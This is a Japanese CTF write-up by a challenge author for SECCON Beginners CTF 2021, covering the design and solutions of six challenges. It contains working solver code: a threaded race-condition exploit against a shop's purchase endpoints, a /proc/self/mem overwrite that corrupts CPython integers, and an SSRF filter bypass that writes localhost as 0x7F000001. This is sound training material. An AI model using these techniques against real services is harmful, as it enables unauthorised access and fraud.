#はじめに
SECCON Beginners CTF 2021 作問者の一人 Satoki と言います。
2021で私が作った問題は以下になります。
- Easter egg
- width_of_space [? Solves]
- Misc
- depixelization [166 Solves]
- fly [23 Solves]
- writeme [5 Solves]
- Web
- cant_use_db [206 Solves]
- check_url [232 Solves]
全体として意図した通りのSolvesになったと感じています。
この度はご参加頂き有り難うございました。
本記事のGitHubバージョンはこちら
[Easter egg] width_of_space
作問にあたって
ステガノを作りたく異体字セレクタかゼロ幅スペースで迷った結果、後者にしました。
emoemoencodeリスペクト問です。
Misc問が少ないときに数合わせで作ったのですが、量が出てきたのとあまり現代CTF的でないのでイースターエッグになりました。
解法
トップページからコンソールでi_need_extra_challenge()
を実行すると現れるイースターエッグ問。
開くと絵文字が二種類書かれている。
問題文に二進数とあるので絵文字を0、1にし、binary2asciiするとダミーフラグが現れる。
ファイルに保存しxxd
するとf09f8c8c
🌌とf09faa90
🪐以外に不審なものが混じっている。
$ xxd problem.txt
00000000: f09f 8c8c f09f aa90 f09f aa90 f09f 8c8c ................
00000010: f09f 8c8c f09f aa90 f09f aa90 f09f 8c8c ................
00000020: e280 8be2 808c e280 8ce2 808b e280 8be2 ................
00000030: 808b e280 8ce2 808c f09f 8c8c f09f aa90 ................
00000040: f09f aa90 f09f 8c8c f09f aa90 f09f aa90 ................
00000050: f09f 8c8c f09f 8c8c e280 8be2 808c e280 ................
00000060: 8ce2 808c e280 8be2 808c e280 8be2 808b ................
00000070: f09f 8c8c f09f aa90 f09f aa90 f09f 8c8c ................
00000080: f09f 8c8c f09f 8c8c f09f 8c8c f09f aa90 ................
00000090: e280 8be2 808c e280 8ce2 808b e280 8be2 ................
略
e2808b
とe2808c
が混じっているようだ。
これらを0、1にし、binary2asciiするとフラグが現れる。
text = open("problem.txt").read()
dummy = text.replace("🌌", "0").replace("🪐", "1").replace("\u200b", "").replace("\u200c", "")
print("Dummy: "+"".join([chr(int(dummy[i: i+8], 2)) for i in range(0, len(dummy), 8)]))
text = text.replace("🌌", "").replace("🪐", "").replace("\u200b", "0").replace("\u200c", "1")
print("Flag: "+"".join([chr(int(text[i: i+8], 2)) for i in range(0, len(text), 8)]))
$ python solver.py
Dummy: flat{__________________________________________________}
Flag: ctf4b{d1d_y0u_m345ur3_7h3_w1d7h_0f_5p4c3?????}
ctf4b{d1d_y0u_m345ur3_7h3_w1d7h_0f_5p4c3?????}
[Misc] depixelization
作問にあたって
モザイク加工したテキストを復元するツール(Depix)を見て思い付いたものです。
ツール自体はフォントのサイズや種類によって使えなかったのですが、オレオレモザイクなら比較的簡単に復元できると考え出題しました。
作業量の割には面白みに欠けるとも思いましたが、このテーマを使った問題を作りたかったので許して欲しいです。
文字P、I、Xを入れたのはそのままモザイク加工すると普通に読めて焦ったからです(汗)。
解法
output.pngとpixelization.pyが配られる。
output.pngは以下のようなモザイク画像であり、pixelization.pyはモザイク加工用のスクリプトのようだ。
pixelization.pyでは、フラグの文字と文字P、I、Xを重ねて縮小することでモザイク加工を行っている。
文字P、I、Xを除去することを考えるが、情報量が落ちているため難しそうだ。
復元ができなくともモザイク加工が可能なので、アルファベットをモザイク画像にした先で一致を見てやればよいことに気づく。
さらにモザイク加工のためのフォントやサイズなどはソースコードより既知である。
OpenCVのバージョンによっては完全一致しない場合があるが、一致率の最も高いアルファベットを選び出せばよい。
import cv2
import numpy as np
images = cv2.imread("output.png")
for i in range(0, len(images[0]), 85):
for j in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_!?'":
# char2img
img = np.full((100, 85, 3), (255,255,255), dtype=np.uint8)
cv2.putText(img, j, (0, 80), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA)
# pixelization
cv2.putText(img, "P", (0, 90), cv2.FONT_HERSHEY_PLAIN, 7, (0, 0, 0), 5, cv2.LINE_AA)
cv2.putText(img, "I", (0, 90), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA)
cv2.putText(img, "X", (0, 90), cv2.FONT_HERSHEY_PLAIN, 9, (0, 0, 0), 5, cv2.LINE_AA)
simg = cv2.resize(img, None, fx=0.1, fy=0.1, interpolation=cv2.INTER_NEAREST)
img = cv2.resize(simg, img.shape[:2][::-1], interpolation=cv2.INTER_NEAREST)
# check
if np.array_equal(img, images[0 : 100, i: i+85]):
print(j, end="")
break
print()
$ python solver.py
ctf4b{1f_y0u_p1x_y0u_c4n_d3p1x}
ctf4b{1f_y0u_p1x_y0u_c4n_d3p1x}
[Misc] fly
作問にあたって
メモリをいじくることで解けるGUIゲームのチート問です。
マップ隠蔽部分を無くしてbeginnerにしようかとも考えましたが、あまりに簡単すぎるため止めました。
余談ですが作問者の一人Yさんに力技で解かれて泣きました。
フラグが別マップにあることを教えるべきだとの意見が出ましたが、駄々をこねて初期のまま出させてもらいました。
これが解けた方はもはやbeginnerではないと思います。
解法
ゲームが配布されている。
ゲームデータが暗号化されているので、stringsなどでフラグは出てこない。
リアルでチートは規約違反である場合が多いが、うさみみハリケーンやCheatEngineなどがツールとしてよく知られている。
主人公がハニワと閉じ込められている。
まずはメモリを書き換えることによる主人公の座標の移動での脱出を試みる。
左右に動くことができるので以下の手順でX座標を特定する。
- 初期値不明で検索
- 以下を繰り返す
- 左に動き、値減少で検索(X座標を右が正だと予想)
- 右に動き、値増加で検索(同様)
- 5以上で値検索(X座標が一マスごとに1増えると予想、5マスより右にいるので)
- 100以下で値検索(同様)
これらにより特定したX座標を書き換え、閉鎖空間から外に出ることに成功する。
赤色の階段から別のマップに移動できるが、フラグはない。
青色の階段があることから、移動できないマップがあると考えマップをメモリ上から探す。
メモリダンプしてstringsにかけるとctf4b.mpsやflag1.mpsやflag2.mpsが見える(flagやctf4bでメモリを検索してもよい)。
どれかが移動できないマップであるので、そこに移動すればよい。
flag1.mpsなどマップ名を存在しないものに書き換えると、マップ移動時にファイルが見つからない等のエラーが出る。
このことからマップデータをファイル名由来で管理していることがわかる。
メモリ内のflag1.mpsをすべてflag2.mpsに書き換えると無事フラグがあるマップへ飛べる。
ctf4b{}の中を教えてもらえる。
別解として、ファイル暗号を解除しマップなどデータを抽出するという方法もある。
ctf4b{b3_c4r3ful_0f_fl135_wh3n_73l3p0r71n6}
[Misc] writeme
作問にあたって
CPythonの整数がキャッシュされることを知って思いついた問題です。
/proc/self/memを書き換えるのはreadmeリスペクト。
writeme.は実は正規表現でwritemem
を示しています(白目)。
論理の飛躍もなく、作問者の中でも解けている人がいたので難易度は許容範囲だと思っています(Hardには少し弱い気がしました)。
解法
ソースを読むと、存在するファイルに文字列Hack
を挿入できるサービスが動いている。
最初にChanceと称するevalがあるが42=99
などはできないので後々使うことを考えておく。
方針としてflagファイルに文字列を挿入し読み取る、もしくは42>=99
をTrueとすることを目指す。
flagファイルに文字列を挿入するのは、ファイル名がチェックされており難しそうであるので後者のアプローチを考える。
任意のファイルに文字列挿入ができるので、/proc/self/mem
を書き換え可能であり、場所は不明だが数値42もしくは99のオブジェクトの中身を破壊してやると42>=99
がTrueとなると予測できる。
ここでCPythonは32バイトずつ数値オブジェクトを順にキャッシュしていることを思い出す。
Chanceの5文字のevalで行えることはidくらいしかないことから、それを用いることを思考の始まりとしても上記のアプローチに落ち着くと思われる(Congrats!とかあるし)。
id(1)により無事に数値1のアドレスがリークできるので、id(1)+41*32で書き換える先のid(42)を求める。
実際32バイトは以下のように求めることができる。
>>> int(id(2))-int(id(1))
32
>>> (int(id(42))-int(id(1)))/41
32.0
ちなみに大きいものはそうでもない。
>>> (int(id(124))-int(id(123)))
32
>>> (int(id(1235))-int(id(1234)))
-67072224
seekで先ほどリークしたアドレス分スキップすることで数値42を改造できる。
>>> fd = open("/proc/self/mem", "rb")
>>> fd.seek(int(id(42)))
10915808
>>> fd.read(32)
b'\x05\x00\x00\x00\x00\x00\x00\x00\x80\xd1\x9c\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00'
>>> fd.read(32)
b'\x05\x00\x00\x00\x00\x00\x00\x00\x80\xd1\x9c\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00+\x00\x00\x00\x00\x00\x00\x00'
>>> fd.read(32)
b'\x05\x00\x00\x00\x00\x00\x00\x00\x80\xd1\x9c\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00,\x00\x00\x00\x00\x00\x00\x00'
>>> fd.read(32)
b'\x05\x00\x00\x00\x00\x00\x00\x00\x80\xd1\x9c\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00-\x00\x00\x00\x00\x00\x00\x00'
>>> ord("*")
42
>>> ord("+")
43
>>> ord(",")
44
>>> ord("-")
45
どうやら25バイト目に数値本体が入っているようだ。
ここを破壊してやれば42>=99
をTrueにすることができそうだ。
>>> fd = open("/proc/self/mem", "rb+")
>>> fd.seek(int(id(42)))
10915808
>>> fd.read(32)
b'\x05\x00\x00\x00\x00\x00\x00\x00\x80\xd1\x9c\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00'
>>> fd.seek(int(id(42))+24)
10915832
>>> fd.write(b"A")
1
>>> fd.flush()
>>> fd.seek(int(id(42)))
10915808
>>> fd.read(32)
b'\x05\x00\x00\x00\x00\x00\x00\x00\x80\xd1\x9c\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00A\x00\x00\x00\x00\x00\x00\x00'
>>> 42
65
>>> chr(65)
'A'
+24seekすればよい。
挿入される文字列がHack
であるため、99より大きくなる。
>>> fd = open("/proc/self/mem", "rb+")
>>> fd.seek(int(id(42)))
10915808
>>> fd.read(32)
b'\x05\x00\x00\x00\x00\x00\x00\x00\x80\xd1\x9c\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00'
>>> fd.seek(int(id(42))+24)
10915832
>>> fd.write(b"Hack")
4
>>> fd.seek(int(id(42)))
10915808
>>> fd.read(32)
b'\x05\x00\x00\x00\x00\x00\x00\x00\x80\xd1\x9c\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00Hack\x00\x00\x00\x00'
>>> fd.flush()
>>> 42
1801675080
>>> hex(1801675080)
'0x6b636148'
>>> hex(ord("H"))
'0x48'
>>> hex(ord("a"))
'0x61'
>>> hex(ord("c"))
'0x63'
>>> hex(ord("k"))
'0x6b'
>>> 42>=99
True
よって解法は以下の入力になる。
id(1)
/proc/self/mem
id(1)の結果 + 41*32 + 24
solverを書いてやればよい。
import os
import socket
HOST = "writeme.quals.beginners.seccon.jp"
PORT = "27182"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, int(PORT)))
s.recv(128) #Chance:
s.send(b"id(1)\n")
id_1 = int(s.recv(128).decode().replace("\nFile:", "")) #XXXXX\nFile:
print(id_1)
s.send(b"/proc/self/mem\n")
s.recv(128) #Seek:
id_42 = id_1 + 41*32 + 24
print(id_42)
s.send(str(id_42).encode()+b"\n")
print(s.recv(128).decode(), end="")
s.close()
$ python solver.py
140601518577968
140601518579304
ctf4b{r36ul4r_3xpr35510n_f0r_4ny_51n6l3_ch4r4c73r}
ctf4b{r36ul4r_3xpr35510n_f0r_4ny_51n6l3_ch4r4c73r}
[Web] cant_use_db
作問にあたって
通常のrace condition問です。
もう少し時間についてシビアにしたかったですが、通信環境が悪い方々も解けるようsleepを長めに挿入しました。
そのためボタンを連打することで解けてしまった方も一定数いたようで、醍醐味を味わえなくなってしまい申し訳ないです。
"なんか解けた"→"理由を調べる"を行っていただけると良いと思います。
コードがクソだと感じたあなたは正常です。
解法
ラーメンサイトが表示される。
ソースを見ると、ユーザ情報はファイル管理のようだ。
所持金以上のものを買うサイトから見てもrace conditionを狙う。
購入処理で/buy_noodles
、/buy_soup
へPOSTを投げているようだ。
並列にPOSTを投げてやればよい。
import os
import requests
import threading
url = "https://cant-use-db.quals.beginners.seccon.jp/"
def rcexploit1(cookie):
requests.post(url + "/buy_noodles", cookies = cookie, verify=False)
def rcexploit2(cookie):
requests.post(url + "/buy_soup", cookies = cookie, verify=False)
def rc():
session = requests.Session()
response = session.get(url, verify=False)
cookie = {"session": session.cookies.get("session")}
th1 = threading.Thread(target=rcexploit1, args=(cookie,))
th2 = threading.Thread(target=rcexploit1, args=(cookie,))
th3 = threading.Thread(target=rcexploit2, args=(cookie,))
th1.start()
th2.start()
th3.start()
requests.post(url + "/buy_noodles", cookies = cookie, verify=False)
requests.post(url + "/buy_noodles", cookies = cookie, verify=False)
print(cookie)
return (requests.get(url + "/eat", cookies = cookie, verify=False).text)
while True:
flag = rc()
if "ctf4b" in flag:
print(flag)
break
$ python solver.py
略
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}
ブラウザのコンソールで以下を実行した後/eat
へアクセスしてもよい。
$.post('/buy_noodles');
$.post('/buy_soup');
$.post('/buy_noodles');
$.post('/buy_soup');
$.post('/buy_noodles');
$.post('/buy_soup');
$.post('/buy_noodles');
$.post('/buy_soup');
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}
[Web] check_url
作問にあたって
某企業の脆弱性として本当にあったヤツです💴。
localhostを弾いていたが、改造文字列では普通にSSRFが通ってしまっていた。
curlは$ curl "www。google。com"
もOKなので全角でのバイパスにしようか迷ったが、現実には少なそうなので止めました。
File URI Schemeでのディレクトリトラバーサルのラビットホールを置いとこうとも思いましたがEasyなので最終的に止めました。
解法
curlがお試しできるサイトのようだ。
ソースコードが配られる。
$_SERVER["REMOTE_ADDR"] === "127.0.0.1"
にてローカルからのアクセスではAdminだと判断されるが、Trueにはならない。
curl_execを実行できるのでSSRFでフラグを読みだせばよいとすぐにわかる。
しかし、スーパーサニタイズによってアルファベットと数字以外弾かれる。
if ($url !== "https://www.example.com"){
$url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing
}
if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){
die("do not hack me!");
}
127.0.0.1
にはドットが含まれている。
localhost
ならばアルファベットのみだがこれも許可されていない。
localhost
の別の記述方法を探すと2130706433
や0x7F000001
や017700000001
と表せる(参考)。
curl_execでは使用できないパターンもあるが、https://check-url.quals.beginners.seccon.jp/?url=http://0x7F000001
でフラグが得られる。
ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}